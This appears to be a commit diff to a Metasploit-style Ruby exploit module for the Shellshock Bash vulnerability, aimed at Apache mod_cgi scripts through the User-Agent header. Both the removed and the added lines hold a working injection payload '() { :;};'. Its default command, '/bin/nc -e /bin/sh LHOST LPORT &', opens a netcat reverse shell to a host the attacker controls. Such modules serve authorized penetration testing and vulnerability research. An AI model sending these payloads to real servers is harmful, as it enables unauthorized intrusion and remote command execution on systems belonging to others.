@@ -17,7 +17,8 @@ def initialize(info = {})
17
17
variables in Bash, specifically targeting Apache mod_cgi scripts through
18
18
the HTTP_USER_AGENT variable.
19
19
20
- Netcat with the -e (GAPING_SECURITY_HOLE) option is required.
20
+ If you use the default CMD, please change LHOST and LPORT. Also, you
21
+ will need a Netcat with the -e (GAPING_SECURITY_HOLE) option.
21
22
} ,
22
23
'Author' => [
23
24
'Stephane Chazelas' , # Vulnerability discovery
@@ -34,8 +35,7 @@ def initialize(info = {})
34
35
35
36
register_options ( [
36
37
OptString . new ( 'TARGETURI' , [ true , 'Path to CGI script' ] ) ,
37
- OptAddress . new ( 'LHOST' , [ true , 'Local host for reverse shell' ] ) ,
38
- OptPort . new ( 'LPORT' , [ true , 'Local port for reverse shell' ] )
38
+ OptString . new ( 'CMD' , [ true , 'Command to run (absolute paths required)' , '/bin/nc -e /bin/sh LHOST LPORT &' ] )
39
39
] , self . class )
40
40
end
41
41
@@ -44,7 +44,7 @@ def run
44
44
send_request_cgi (
45
45
'method' => 'GET' ,
46
46
'uri' => normalize_uri ( target_uri . path ) ,
47
- 'agent' => "() { :;}; /bin/nc -e /bin/sh #{ datastore [ 'LHOST ' ] } #{ datastore [ 'LPORT' ] } & "
47
+ 'agent' => "() { :;}; #{ datastore [ 'CMD ' ] } "
48
48
)
49
49
rescue Rex ::ConnectionRefused , Rex ::ConnectionTimeout ,
50
50
Rex ::HostUnreachable => e
0 commit comments